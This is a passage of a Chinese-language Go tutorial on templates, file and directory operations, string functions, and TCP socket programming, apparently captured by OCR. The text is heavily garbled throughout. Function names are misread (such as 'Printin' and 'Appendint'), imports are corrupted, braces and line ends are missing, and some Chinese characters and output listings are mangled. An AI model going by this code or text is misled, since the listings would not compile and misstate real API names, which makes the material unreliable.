模板 包 里 面 有 一 个 加 数 Must ， 它 的 作用 是 检测 模板 是 否 正 确 ， 例 如 大 括号 是 否 匹 
配 ， 注 释 是 否 正确 的 关闭 ， 变 量 是否 正 确 的 书写 。 接 下 来 我 们 演示 一 个 例子 ， 用 
Must 来 判断 模板 是 否 正确 : 


package main 


import ( 
" fmt " 
"text/template" 
) 


func main() { 
tok := template.New("first") 
template.Must(tOk.Parse(" some static text /* and a comment */' 
fmt.Printin("The first one parsed OK.") 


template.Must(template.New("second").Parse("some static text {- 
fmt.Println("The second one parsed OK.") 


fmt .Printin("The next one ought to fail.") 
tErr := template.New("check parse error with Must") 
template.Must(tErr.Parse(" some static text {{ .Name }")) 


} 


«| aa 








讲 输出 如 下 内 容 


The first one parsed OK. 
The second one parsed OK. 


The next one ought to fail. 
panic: template: check parse error with Must:1: unexpected "}" in ¢ 
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Br Ete AR 
我 们 平常 开发 Web 应 用 的 时 候 ， 经 常会 遇 到 一 些 模板 有 些 部 分 是 固定 不 变 的 ， 然 后 
可 以 抽取 出 来 作为 一 个 独立 的 部 分 ， 例 如 一 个 博客 的 头 部 和 尾部 是 不 变 的 ， 而 唯一 


改变 的 是 中 间 的 内 容 部 分 。 所 以 我 们 可 以 定义 
成 header, content, footer 三 个 部 分 。Go 语 言 中 通过 如 下 的 语法 来 申明 


{{define " 子 模板 名 称 "}} 内 容 {{end}} 
通过 如 下 方式 来 调用 : 
{{template " 子 模板 名 称 "}} 


接 下 来 我 们 演示 如 何 使 用 能 套 模板 ， 我 们 定义 三 个 文 
件 ， header.tmpl 、 content.tmpl 、 footer.tmpl 文件 ， 里 面 的 内 容 如 下 


//header .tmpl 

{{define "header"}} 
<html> 

<head> 

<title> 演 示 信 息 </title> 

</head> 

<body> 

{{end}} 


//content.tmpl 

{{define "content"}} 

{{template "header"}} 

<h1> 演 示 艇 套 </h1> 

<ul> 
<li>tre (# Adefinet 2 FRiR</1i> 
<1i> 调 用 使 用 template</1i> 

</ul> 

{{template "footer"}} 

{{end}} 


//footer.tmpl 
{{define "footer"}} 
</body> 

</html> 


{tend} } 


演示 代码 如 下 : 


package main 


import ( 
"Fmt " 
OSU 
"text/template" 
) 
func main() { 
si, _ := template.ParseFiles("header.tmpl", "content.tmpl", "Fc 


s1.ExecuteTemplate(os.Stdout, "header", nil) 
fmt .Printin() 

si1.ExecuteTemplate(os.Stdout, "content", nil) 
fmt .Printin() 

s1.ExecuteTemplate(os.Stdout, "footer", nil) 
fmt .Printin() 

s1.Execute(os.Stdout, nil) 








通过 上 面 的 例子 我 们 可 以 看 到 通过 template.ParseFiles 把 所 有 的 伐 套 模板 全 部 
解析 到 模板 里 面 ， 其 实 每 一 个 定义 的 {fdefine}} 都 是 一 个 独立 的 模板 ， 他 们 相互 独 
立 ， 是 并 行 存在 的 关系 ， 内 部 其 实 存 储 的 是 类 似 map 的 一 种 关系 (key 是 模板 的 名 
称 ，value 是 模板 的 内 容 )， 然 后 我 们 通过 ExecuteTemplate 来 执行 相应 的 子 模板 
内 容 ， 我 们 可 以 看 到 header、footer 都 是 相对 独立 的 ， 都 能 输出 内 容 ，content HA 
为 馈 套 了 header 和 footer 的 内 容 ， 就 会 同时 输出 三 个 的 内 容 。 但 是 当 我 们 执 

行 s1.Execute ， 没 有 任何 的 输出 ， 因 为 在 默认 的 情况 下 没有 默认 的 子 模板 ， 所 
以 不 会 输出 任何 的 东西 。 


一 个 集合 类 的 模板 是 互相 知晓 的 ， 如 果 同 一 模板 被 多 个 集合 使 用 ， 则 它 需 要 
在 多 个 集合 中 分 别 解析 


ase 


ee 

通过 上 面 对 模 板 的 详细 介绍 ， 我 们 了 解 了 如 何 把 动态 数据 与 模板 融合 : 如 何 输出 循 
环 数据 、 WAELE 如 何 庶 套 模 板 等 等 。 通 过 模板 技术 的 上 应用， 我们 可 以 完 
成 MVC 模 式 中 V 的 处 理 ， 接 下 来 的 章节 我 们 将 介绍 如 何 来 处 理 M 和 C。 
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7.5 文件 操作 


在 任何 计算 机 设备 中 ， 文 件 是 都 是 必须 的 对 象 ， 而 在 Web 编 程 中 ,文件 的 操作 一 直 是 
Web 程 序 员 经 常 遇 到 的 问题 ,文件 操作 在 Web 应 用 中 是 必须 的 ,非常 有 用 的 ,我 们 经 常 
遇 到 生成 文件 目录 ,文件 ( 夹 ) 编 辑 等 操作 ,现在 我 把 Go 中 的 这 些 操作 做 一 详细 总 结 并 
实例 示范 如 何 使 用 。 


目录 操作 
文件 操作 的 大 多 数 画 数 都 是 在 os 包 里 面 ， 下 面 列举 了 几 个 目录 操作 的 : 


e func Mkdir(name string, perm FileMode) error 
创建 名 称 为 name 的 目录 ， 权 限 设置 是 perm， 例 如 0777 
e func MkdirAll(path string, perm FileMode) error 
根据 path 创 建 多 级 子 目 录 ， 例 如 astaxie/test1/test2。 
e func Remove(name string) error 
删除 名 称 为 name 的 目录 ， 当 目录 下 有 文件 或 者 其 他 目录 是 会 出 错 
e func RemoveAll(path string) error 


根据 path 删 除 多 级 子 上 目录， 如 果 path 是 单个 名 称 ， 那 么 该 目录 下 的 子 目 录 全 部 
删除 。 


下 面 是 演示 代码 : 


package main 


import ( 
"Fmt " 
"os" 

) 


func main() { 
os.Mkdir("astaxie", 0777) 
os.MkdirAll("astaxie/testi/test2", 0777) 
err := os.Remove("astaxie") 
if err != nil { 
fmt.Println(err) 


os.RemoveAll("astaxie") 


文件 操作 


建立 与 打开 文件 
新 建文 件 可 以 通过 如 下 两 个 方法 
e func Create(name string) (file *File, err Error) 


根据 提供 的 文件 名 创建 新 的 文件 ， 返 回 一 个 文件 对 象 ， 默 认 权限 是 0666 的 文 
件 ， 返 回 的 文件 对 象 是 可 读 写 的 。 


e func NewFile(fd uintptr, name string) *File 
根据 文件 描述 符 创 建 相 应 的 文件 ， 返 回 一 个 文件 对 象 
通过 如 下 两 个 方法 来 打开 文件 : 
e func Open(name string) (file *File, err Error) 


该 方法 打开 一 个 名 称 为 name 的 文件 ， 但 是 是 只 读 方式 ， 内 部 实现 其 实 调用 了 
OpenFile。 


e func OpenFile(name string, flag int, perm uint32) (file *File, err Error) 


打开 名 称 为 name 的 文件 ，flag 是 打开 的 方式 ， 只 读 、 读 写 等 ，perm 是 权限 


写 文 件 
BAR : 
e func (file *File) Write(b []byte) (n int, err Error) 
写 入 byte 类 型 的 信息 到 文件 
e func (file *File) WriteAt(b []byte, off int64) (n int, err Error) 
在 指定 位 置 开 始 写 入 byte 类 型 的 信息 
e func (file *File) WriteString(s string) (ret int, err Error) 
写 入 string 信 息 到 文件 
写 文 件 的 示例 代码 


package main 


import ( 
"Fmt W 
"Nos" 
) 
func main() { 
userFile := "astaxie.txt" 
fout, err := os.Create(userFile) 
if err != nil { 
fmt.Println(userFile, err) 
return 


} 

defer fout.Close() 

for i := 0; i < 10; i++ { 
fout.WriteString("Just a test!\r\n") 
fout.Write([]byte("Just a test!\r\n")) 


读 文 件 
读 文 件 画 数 : 
e func (file *File) Read(b []byte) (n int, err Error) 
读 取 数 据 到 b 中 
e func (file *File) ReadAt(b [Jbyte, off int64) (n int, err Error) 
从 off 开 始 读 取 数据 到 b 中 
读 文件 的 示例 代码 : 


package main 


import ( 
"Fmt " 
"os" 
) 
func main() { 
userFile := "asatxie.txt" 
fl, err := os.Open(userFile) 
if err != nil { 
fmt.Println(userFile, err) 
return 


} 
defer fl.Close() 
buf := make([]byte, 1024) 


for { 
n, _ := f1.Read(buf) 
if 0 ==nf{ 


break 


} 
os.Stdout.Write(buf[:n]) 


删除 文件 
Go 语言 里 面 删 除 文件 和 删除 文件 夹 是 同一 个 画 数 
e func Remove(name string) Error 
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: 模板 处 理 
: 字符 串 处 理 


7.6 字符 串 处 理 


字符 串 在 我 们 平常 的 Web 开 发 中 经 常用 到 ， 包 括 用 户 的 输入 ， 数 据 库 读 取 的 数据 
等 ， 我 们 经 常 需要 对 字符 串 进行 分 割 、 连 接 、 转 换 等 操作 ， 本 小 节 将 通过 Go 标准 库 
中 的 strings 和 strconv 两 个 包 中 的 函数 来 讲解 如 何 进 行 有 效 快速 的 操作 。 


字符 串 操 作 


下 面 这 些 函 数 来 自 于 strings 包 ， 这 里 介绍 一 些 我 平常 经 常用 到 的 函数 ， 更 详细 的 请 
参考 官方 的 文档 。 


e func Contains(s, substr string) bool 


字符 串 s 中 是 否 包 含 substr， 返 回 bool 值 


fmt.Println(strings.Contains("seafood", "foo")) 
fmt.Println(strings.Contains("seafood", "bar")) 
fmt.Println(strings.Contains("seafood", "")) 
fmt.Println(strings.Contains("", "")) 

//Output: 

//true 

//false 

//true 

//true 


e func Join(a [Jstring, sep string) string 
字符 串 链接 ， 把 slice a 通 过 sep 链 接 起 来 
s := []string{"foo", "bar", "baz"} 


fmt.Printin(strings.Join(s, ", ")) 
//Output:foo, bar, baz 


e func Index(s, sep string) int 
在 字符 串 s 中 查找 sep 所 在 的 位 置 ， 返 回 位 置 值 ， 找 不 到 返回 -1 
fmt .Println(strings.Index("chicken", "ken")) 
fmt.Printin(strings.Index("chicken", "dmr")) 


//Output:4 
//-1 


e func Repeat(s string, count int) string 


重复 s 字 符 串 count 次 ， 最 后 返回 重复 的 字符 串 


fmt.Println("ba" + strings.Repeat("na", 2)) 
//Output:banana 


e func Replace(s, old, new string, n int) string 


在 s 字 符 串 中 ， 把 old 字 符 串 替换 为 New 字符 串 ，n 表 示 蔡 换 的 次 数 ， 小 于 0 表示 
全 部 替换 


fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) 
fmt.Printin(strings.Replace("oink oink oink", "oink", "moo", 
//Output:oinky oinky oink 

//moo moo moo 


= eg 





e func Split(s, sep string) [Jstring 
把 s 字 符 串 按照 sep 分 割 ， 返 回 slice 


fmt.Printf("%q\n", strings.Split("a,b,c", ",")) 
fmt.Printf("%q\n", strings.Split("a man a plan a canal paname 
fmt.Printf("%q\n", strings.Split(" xyz ", "")) 
fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins") ) 
//Output: ["a" "pu zew] 


//["" "man " "plan " "canal panama" | 
// [ " " Wu Vi Ws A " ai 
// [ " si] 


PD A 





e func Trim(s string, cutset string) string 


在 s 字 符 串 的 头 部 和 尾部 去 除 cutset 指 定 的 字符 串 


fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "p ")) 
//Output: ["Achtung" ] 
er 
e func Fields(s string) []string 
去 除 s 字 符 串 的 空格 符 ， 并 且 按 照 空格 分 割 返回 slice 


fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz 
//Output:Fields are: ["foo" "bar" "baz" ] 


al 








字符 串 转 换 


字符 串 转 化 的 函数 在 strconv 中 ， 如 下 也 只 是 列 出 一 些 疝 用 的 : 
e Append 系列 函数 将 整数 等 转换 为 字符 串 后 ， 添 加 到 现 有 的 字 节 数组 中 。 


package main 


import ( 
" fmt " 
"strconv" 
) 


func main() { 
str := make([]byte, 0, 100) 


str = strconv.Appendint(str, 4567, 10) 
str = strconv.AppendBool(str, false) 

str = strconv.AppendQuote(str, "abcdefg") 
str = strconv.AppendQuoteRune(str, '#') 


fmt.Println(string(str) ) 


e Format 系列 函数 把 其 他 类 型 的 转换 为 字符 串 


package main 


import ( 
" fmt " 
"strconv" 
) 


func main() { 

strconv.FormatBool( false) 
strconv.FormatFloat(123.23, 'g', 12, 64) 
strconv.FormatInt(1234, 10) 
strconv.FormatUint(12345, 10) 
strconv.Itoa(1023) 

mt.Println(a, b, c, d, e) 


a 
b 
C 
d 
e 
f 


e Parse 系列 函数 把 字符 串 转 换 为 其 他 类 型 


package main 


import ( 
" fmt " 
"strconv" 
) 
func checkError(e error){ 
if e != nilf{ 
fmt .Printlin(e) 
} 
} 


func main() { 
a, err := strconv.ParseBool("false") 
checkError (err) 
b, err := strconv.ParseFloat("123.23", 64) 
checkError(err ) 
c, err := strconv.ParseInt("1234", 10, 64) 
checkError (err) 
d, err := strconv.ParseUint("12345", 10, 64) 
checkError (err) 
e, err := strconv.Atoi("1023") 
checkError (err) 
fmt.Println(a, b, c, d, e) 


: 文件 操作 


: 小 结 


7.7 小 结 


这 一 章 给 大 家 介绍 了 一 些 文本 处 理 的 工具 ， 包 括 XML、JSON、 正 则 和 模板 技术 ， 
XML 和 JSON 是 数据 交互 的 工具 ， 通 过 XML 和 JSON 你 可 以 表达 各 种 含义 ， 通 过 正 
则 你 可 以 处 理 文本 (搜索 、 蔡 换 、 截 取 )， 通 过 模板 技术 你 可 以 展现 这 些 数 据 给 用 
户 。 这 些 都 是 你 开发 Web 应 用 过 程 中 需要 用 到 的 技术 ， 通 过 这 个 小 节 的 介绍 你 能 够 
了 解 如 何 处 理 文本 、 展 现 文 本 。 


: 字符 串 处 理 
W 


8 Web 服 务 


Web 服 务 可 以 让 你 在 HTTP 协 议 的 基础 上 通过 XML 或 者 JSON 来 交换 信息 。 如 果 你 想 
知道 上 海 的 天 气 预 报 、 中 国 石 油 的 股价 或 者 淘宝 商家 的 一 个 商品 信息 ， 你 可 以 编写 


一 个 本 地 画 数 并 返回 一 个 值 。 


Web 服 务 背 后 的 关键 在 于 平台 的 无 关 性 ， 你 可 以 运行 你 的 服务 在 Linux 系 统 ， 可 以 
与 其 他 Windows 的 asp.net 程 序 交 互 ， 同 样 的 ， 也 可 以 通过 同一 个 接口 和 运行 在 
FreeBSD 上 面 的 JSP 无 障碍 地 通信 。 


目前 主流 的 有 如 下 几 种 Web 服 务 : REST、SOAP。 


REST 请 求 是 很 直观 的 ， 因 为 REST 是 基于 HTTP 协 议 的 一 个 补充 ， 他 的 每 一 次 请 求 
都 是 一 个 HTTP 请 求 ， 然 后 根据 不 同 的 method 来 处 理 不 同 的 逻辑 ， 很 多 Web 开 发 者 
都 熟悉 HTTP 协 议 ， 所 以 学 习 REST 是 一 件 比 较 容 易 的 事情 。 所 以 我 们 在 8.3 小 节 讲 
详细 的 讲解 如 何在 Go 语言 中 来 实现 REST 方 式 。 


SOAP 是 W3C 在 跨 网 络 信息 传递 和 远程 计算 机 男 数 调用 方面 的 一 个 标准 。 但 是 
SOAP 非 常 复 休 ， 其 完整 的 规范 篇 幅 很 长 ， 而 且 内 容 仍然 在 增加 。Go 语 言 是 以 简单 
著称 ， 所 以 我 们 不 会 介绍 SOAP 这 样 复 末 的 东西 。 而 Go 语言 提供 了 一 种 天 生性 能 很 
不 错 ， 开 发 起 来 很 方便 的 RPC 机 制 ， 我 们 将 会 在 8.4 小 节 详 细 介 绍 如 何 使 用 Go 语言 
来 实现 RPC。 


Go 语言 是 21 世 纪 的 C 语 言 ， 我 们 追求 的 是 性 能 、 简 单 ， 所 以 我 们 在 8.1 小 节 里 面 介 
绍 如 何 使 用 Socket 编 程 ， 很 多 游戏 服务 都 是 采用 Socket 来 编写 服务 端 ， 因 为 HTTP 
协议 相对 而 言 比较 耗费 性 能 ， 让 我 们 看 看 Go 语言 如 何 来 Socket 编 程 。 目 前 随 着 
HTML5 的 发 展 ，webSockets 也 逐渐 的 成 为 很 多 页 游 公司 接 下 来 开发 的 一 些 手 段 ， 
我 们 将 在 8.2 小 节 里 面 讲 解 Go 语 言 如 何 编 写 webSockets 的 代码 。 


目录 

links 
e 目录 
e 上 一 章 : 第 七 章 总 结 
e 下 一 节 : Socket 编 程 


8.1 Socket 编 程 


在 很 多 底层 网 络 应 用 开发 者 的 眼 里 一 切 编程 都 是 Socket， 话 虽然 有 点 硅 张 ， 但 却 也 
几乎 如 此 了 ， 现 在 的 网 络 编程 几乎 都 是 用 Socket 来 编程 。 你 想 过 这 些 情景 么 ?我 们 
每 天 打开 浏览 器 浏览 网 页 时 ， 浏 览 器 进程 怎么 和 和 Web 服务 器 进行 通信 的 呢 ? 当 你 用 
QQ 聊天 时 ，QQ 进 程 怎么 和 服务 器 或 者 是 你 的 好 友 所 在 的 QQ 进程 进行 通信 的 呢 ? 
当 你 打开 PPstream 观 看 视频 时 ，PPstream 进 程 如 何 与 视频 服务 器 进行 通信 的 呢 ? 
如 此 种 种 ， 都 是 靠 Socket 来 进行 通信 有 的， 以 一 班 帘 全 鹏 ， 可 见 Socket 编 程 在 现代 编 
程 中 占据 了 多 么 重要 的 地 位 ， 这 一 节 我 们 将 介绍 Go 语言 中 如 何 进 行 Socket 编 程 。 


什么 是 Socket ? 


Socket 起 源 于 Unix， 而 Unix 基 本 哲学 之 一 就 是 “一 切 此 文件 ”， 都 可 以 用 "打开 open 一 
> 读 写 write/read -> 关闭 close” 模 式 来 操作 。Socket 就 是 该 模式 的 一 个 实现 ， 网 络 
的 Socket 数 据 传输 是 一 种 特殊 的 JO，Socket 也 是 一 种 文件 描述 符 。Socket 也 具有 
一 个 类 似 于 打开 文件 的 函数 调用 : Socket()， 该 本 数 返回 一 个 整 型 的 Socket 描 述 
符 ， 随 后 的 连接 建立 、 数 据 传输 等 操作 都 是 通过 该 Socket 实 现 的 。 


常用 的 Socket 类 型 有 两 种 : 流 式 Socket (SOCK_STREAM) 和 数据 报 式 

Socket (SOCK_DGRAM) 。 流 式 是 一 种 面向 连接 的 Socket， 针 对 于 面向 连接 的 
TCP 服 务 应 用 ; 数据 报 式 Socket 是 一 种 无 连接 的 Socket， 对 应 于 无 连接 的 UDP 服务 
应 用 。 


Socket 如 何 通信 


网 络 中 的 进程 之 间 如 何 通过 Socket 通 信 呢 ? 首要 解决 的 问题 是 如 何 唯一 标识 一 个 进 
程 ， 否 则 通信 无 从 谈 起 ! 在 本 地 可 以 通过 进程 PID 来 唯一 标识 一 个 进程 ， 但 是 在 网 

络 中 这 是 行 不 通 的 。 其 实 TCP/IP 协 议 族 已 经 帮 有 我 们 解决 了 这 个 问题 ， 网 络 层 的 "ip 地 
址 ?可 以 唯一 标识 网 络 中 的 主机 ， 而 传输 层 的 "协议 + 端口 "可 以 唯一 标识 主机 中 的 应 

用 程序 (进程 ) 。 这 样 利 用 三 元 组 (ip 地 址 ， 协 议 ， 端 口 ) 就 可 以 标识 网 络 的 进程 
了 ， 网 络 中 需要 互相 通信 的 进程 ， 就 可 以 利用 这 个 标志 在 他 们 之 间 进 行 交 互 。 请 看 
下 面 这 个 TCP/IP 协 议 结构 图 


图 8.1 七 层 网 络 协议 图 


使 用 TCP/IP 协 议 的 应 用 程序 通常 采用 应 用 编程 接口 : UNIX BSD 的 套 接 字 
(socket) 和 UNIX System V 的 TLI (已 经 被 淘汰 ) ， 来 实现 网 络 进程 之 间 的 通信 。 
就 目前 而 言 ， 几 乎 所 有 的 应 用 程序 都 是 采用 socket， 而 现在 又 是 网 络 时 代 ， 网 络 中 
进程 通信 和 是 无 处 不 在 ， 这 就 是 为 什么 说 “一 切 蕴 Socket”。 


Socket 基 础 知识 


通过 上 面 的 介绍 我 们 知道 Socket 有 两 种 : TCP Socket 和 UDP Socket，TCP 和 UDP 
是 协议 ， 而 要 确定 一 个 进程 的 需要 三 元 组 ， 需 要 IP 地 址 和 端口 。 


IPv4 地 址 


目前 的 全 球 因 特 网 所 采用 的 协议 族 是 TCP/IP 协 议 。IP 是 TCP/IP 协 议 中 网 络 层 的 协 
议 ， 是 TCP/IP 协 议 族 的 核心 协议 。 目 前 主要 采用 的 IP 协 议 的 版 本 号 是 4( 简 称 为 
IPv4)， 发 展 至 今 已 经 使 用 了 30 多 年 。 


IPv4 的 地 址 位 数 为 32 位 ， 也 就 是 最 多 有 2 的 32 次 方 的 网 络 设备 可 以 联 到 Internet 上 。 
近 十 年 来 由 于 互联 网 的 蔻 勃发 展 ，IP 位 址 的 需求 量 您 来 您 大 ， 使 得 IP 位 址 的 发 放 鳄 
趋 紧 张 ， 前 一 段 时 间 ， 据 报道 IPV4 的 地 址 已 经 发 放 完 毕 ， 我 们 公司 目前 很 多 服务 器 
的 IP 都 是 一 个 宝贵 的 资源 。 


地 址 格式 类 似 这 样 : 127.0.0.1 172.122.121.111 


IPv6 地 址 


IPv6 是 下 一 版 本 的 互联 网 协议 ， 也 可 以 说 是 下 一 代 互 联网 的 协议 ， 它 是 为 了 解决 

IPv4 在 实施 过 程 中 遇 到 的 各 种 问题 而 被 提出 的 ，IPv6 采 用 128 位 地 址 长 度 ， 几 乎 可 
以 不 受 限制 地 提供 地 址 。 按 保守 方法 估算 IPv6 实 际 可 分 配 的 地 址 ， 整 个 地 球 的 每 平 
方 米 面积 上 仍 可 分 配 1000 多 个 地 址 。 在 IPv6 的 设计 过 程 中 除了 一 劳 永 逸 地 解决 了 地 
址 短缺 问题 以 外 ， 还 考虑 了 在 IPv4 中 解决 不 好 的 其 它 问题 ， 主 要 有 端 到 端 IP 连 接 、 

服务 质量 (QoS) 、 安 全 性 、 多 播 、 移 动 性 、 即 插 即 用 等 。 


地 址 格式 类 似 这 样 : 2002:c0e8:82e7:0:0:0:c0e8:82e7 
Go 支持 的 IP 类 型 


在 Go 的 net 包 中 定义 了 很 多 类 型 、 画 数 和 方法 用 来 网 络 编程 ， 其 中 IP 的 定义 如 
下 : 


type IP []byte 


在 net 包 中 有 很 多 函数 来 操作 IP， 但 是 其 中 比较 有 用 的 也 就 几 个 ， 其 
中 ParseIP(s string) IP 男 数 会 把 一 个 IPv4 或 者 IPv6 的 地 址 转化 成 IP 类 型 ， 请 
看 下 面 的 例子 : 


package main 


import ( 
"net W 
wos 
"Fmt " 
) 


func main() { 
if len(os.Args) != 2 { 
fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0]) 


os.Exit(1) 
} 
name := os.Args[1] 
addr := net.ParseIP(name) 


if addr == nil { 
fmt.Printin("Invalid address") 
} else { 
fmt.Println("The address is ", addr.String()) 


os.Exit(0) 
} 


4 344) 
执行 之 后 你 就 会 发 现 只 要 你 输入 一 个 IP 地 址 就 会 给 出 相应 的 IP 格 式 


TCP Socket 


当 我 们 知道 如 何 通 过 网 络 端口 访问 一 个 服务 时 ， 那 么 我 们 能 够 做 什么 呢 ? 作为 客户 
端 来 说 ， 我 们 可 以 通过 向 远 端 某 台 机 器 的 的 某 个 网 络 端口 发 送 一 个 请 求 ， 然 后 得 到 
在 机 器 的 此 端口 上 监听 的 服务 反馈 的 信息 。 作 为 服务 端 ， 我 们 需要 把 服务 绑 定 到 某 
个 指定 端口 ， 并 且 在 此 端口 上 监听 ， 当 有 客户 端 来 访问 时 能 够 读 取 信息 并 且 写 入 反 


馈 信 息 。 
在 Go 语言 的 net 包 中 有 一 个 类 型 TcPConn ， 这 个 类 型 可 以 用 来 作为 客户 端 和 服 
务 器 端 交 互 的 通道 ， 他 有 两 个 主要 的 函数 : 


func (c *TCPConn) Write(b []byte) (n int, err os.Error) 
func (c *TCPConn) Read(b []byte) (n int, err os.Error) 


TCPConn 可 以 用 在 客户 端 和 服务 器 端 来 读 写 数据 。 


还 有 我 们 需要 知道 一 个 TCPAddr 类 型 ， 他 表示 一 个 TCP 的 地 址 信息 ， 他 的 定义 如 
下 : 


type TCPAddr struct { 


在 Go 语言 中 通过 ResolveTcPAddr 获取 一 个 TcPAddr 


func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error) 


e net 参 数 是 "tcp4"、"tcp6"、"tcp" 中 的 任意 一 个 ， 分 别 表示 TCP(IPv4- 
only),TCP(IPv6-only) 或 者 TCP(IPv4,IPv6 的 任意 一 个 ). 
e addr 表 示 域 名 或 者 IP 地 址 ， 例 如 "www.google.com:80" 或 者 "127.0.0.1:22". 


TCP client 


Go 语言 中 通过 net 包 中 的 DialTcP 阔 数 来 建立 一 个 TCP 连 接 ， 并 返回 一 

个 TcPConn 类 型 的 对 象 ， 当 连接 建立 时 服务 器 端 也 创建 一 个 同类 型 的 对 象 ， 此 时 
客户 端 和 服务 器 段 通过 各 自 拥 有 的 TCPConn 对 象 来 进行 数据 交换 。 一 般 而 言 ， 客 
户 端 通过 TcPConn 对 象 将 请 求 信息 发 送 到 服务 器 端 ， 读 取 服 务 器 端 响应 的 信息 。 

服务 器 端 读 取 并 解析 来 自 客 户 端的 请 求 ， 并 返回 应 答 信息 ， 这 个 连接 只 有 当 任 一 端 
关闭 了 连接 之 后 才 失 效 ， 不 然 这 连接 可 以 一 直 在 使 用 。 建 立 连 接 的 函数 定义 如 下 : 


func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err o: 
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e net 参 数 是 "tcp4"、"tcp6"、"tcp" 中 的 任意 一 个 ， 分 别 表 示 TCP(IPv4-only)、 
TCP(IPv6-only) 或 者 TCP(IPv4,IPv6 的 任意 一 个 ) 

e laddr 表 示 本 机 地 址 ， 一 般 设 置 为 nil 

e raddr 表 示 远 程 的 服务 地 址 


接 下 来 我 们 写 一 个 简单 的 例子 ， 模 拟 一 个 基于 HTTP 协 议 的 客户 端 请 求 去 连接 一 个 
Web 服 务 端 。 我 们 要 写 一 个 简单 的 http 请 求 关 ， 格 式 类 似 如 下 : 


"HEAD / HTTP/1.0\r\n\r\n" 


从 服务 端 接 收 到 的 响应 信息 格式 可 能 如 下 : 


HTTP/1.0 200 OK 

ETag: "-9985996" 

Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT 
Content-Length: 18074 

Connection: close 

Date: Sat, 28 Aug 2010 00:43:48 GMT 

Server: lighttpd/1.4.23 


我 们 的 客户 端 代码 如 下 所 示 : 


package main 


import ( 
"Fmt " 
"io/ioutil" 
"net " 
Wget 

) 


func main() { 
if len(os.Args) != 2 { 
fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0]) 


os.Exit(1) 
} 
service := os.Args[1] 
tcpAddr, err := net.ResolveTCPAddr("tcp4", service) 
checkError (err) 
conn, err := net.DialTCP("tcp", nil, tcpAddr) 
checkError(err) 
_, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n") ) 
checkError(err) 
result, err := ioutil.ReadAll(conn) 
checkError (err) 
fmt.Println(string(result)) 
os.Exit(0) 
} 
func checkError(err error) { 
if err != nil { 
fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) 
os.Exit(1) 
} 
} 


rr -AA 


通过 上 面 的 代码 我 们 可 以 看 出 : 首先 程序 将 用 户 的 输入 作为 参数 service 传 

和 net.ResolveTCPAddr 获取 一 个 tcpAddr, 然 后 把 tcpAddr 传 入 DialTCP 后 创建 了 
一 个 TCP 连 接 conn ， 通 过 conn 来 发 送 请 求 信 息 ， 最 后 通 

过 ioutil.ReadAll M conn 中 读 取 全 部 的 文本 ， 也 就 是 服务 端 响应 反馈 的 信 


NO 


TCP server 


上 面 我 们 编写 了 一 个 TCP 的 客户 端 程序 ， 也 可 以 通过 net 包 来 创建 一 个 服务 器 端 程 
序 ， 在 服务 器 端 我 们 需要 绑 定 服务 到 指定 的 非 激活 端口 ， 并 监听 此 端口 ， 当 有 客户 
端 请 求 到 达 的 时 候 可 以 接收 到 来 自 客 户 端 连 接 的 请 求 。net 包 中 有 相应 功能 的 西数 ， 
PAE LUO FE : 


func ListenTCP(net string, laddr *TCPAddr) (1 *TCPListener, err os 
func (1 *TCPListener) Accept() (c Conn, err os.Error) 


‘ a) 








参数 说 明 同 DialTCP 的 参数 一 样 。 下 面 我 们 实现 一 个 简单 的 时 间 同 步 服务 ， 监 听 
7777 端 口 


package main 


import ( 
"Fmt W 
"net W 
wos 
"time" 


) 


func main() { 

service := ":7777" 
tcpAddr, err := net.ResolveTCPAddr("tcp4", service) 
checkError(err) 
listener, err := net.ListenTCP("tcp", tcpAddr) 
checkError(err) 
for { 

conn, err := listener.Accept() 

if err != nil { 

continue 
} 


daytime := time.Now().String() 
conn.Write([]byte(daytime)) // don't care about return vallı 


conn.Close() // we're finished with this cl: 
} 
func checkError(err error) { 
if err != nil { 
fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) 
os.Exit(1) 
} 








上 面 的 服务 跑 起 来 之 后 ， 它 将 会 一 直 在 那里 等 待 ， 直 到 有 新 的 客 户 端 请 求 到 达 。 当 
有 新 的 客户 端 请 求 到 达 并 同意 接受 Accept 该 请 求 的 时 候 他 会 反馈 当前 的 时 间 信 
息 。 值 得 注意 的 是 ， 在 代码 中 for 循环 里 ， 当 有 错误 发 生 时 ， 直 接 continue 而 不 
是 退出 ， 是 因为 在 服务 器 端 跑 代 码 的 时 候 ， 当 有 错误 发 生 的 情况 下 最 好 是 由 服务 端 
记录 错误 ， 然 后 当前 连接 的 客户 端 直接 报错 而 退出 ， 从 而 不 会 影响 到 当前 服务 端 运 
行 的 整个 服务 。 


上 面 的 代码 有 个 缺点 ， 执 行 的 时 候 是 单 任 务 的 ， 不 能 同时 接收 多 个 请 求 ， 那 么 该 如 
何 改造 以 使 它 支持 多 并 发 呢 ?Go 里 面 有 一 个 goroutine 机 制 ， 请 看 下 面 改造 后 的 代 
码 


package main 


import ( 
"Fmt W 
"net W 
"os" 
"time" 


) 


func main() { 

service := ":1200" 
tcpAddr, err := net.ResolveTCPAddr("tcp4", service) 
checkError(err) 
listener, err := net.ListenTCP("tcp", tcpAddr ) 
checkError(err) 
for { 

conn, err := listener.Accept() 

if err != nil { 

continue 


} 
go handleClient(conn) 


} 


func handleClient(conn net.Conn) { 
defer conn.Close() 
daytime := time.Now().String() 
conn.Write([]byte(daytime)) // don't care about return value 
// we're finished with this client 


func checkError(err error) { 


if err != nil { 
fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) 
os.Exit(1) 

} 


通过 把 业务 处 理 分 离 到 函数 handleclient ， 我 们 就 可 以 进一步 地 实现 多 并 发 执 
行 了 。 看 上 去 是 不 是 很 放 ， 增 加 go 关键 词 就 实现 了 服务 端的 多 并 发 ， 从 这 个 小 例 
子 也 可 以 看 出 goroutine 的 强大 之 处 。 


有 的 朋友 可 能 要 问 : 这 个 服务 端 没 有 义理 客户 端 实 际 请 求 的 内 容 。 如 果 我 们 需要 通 
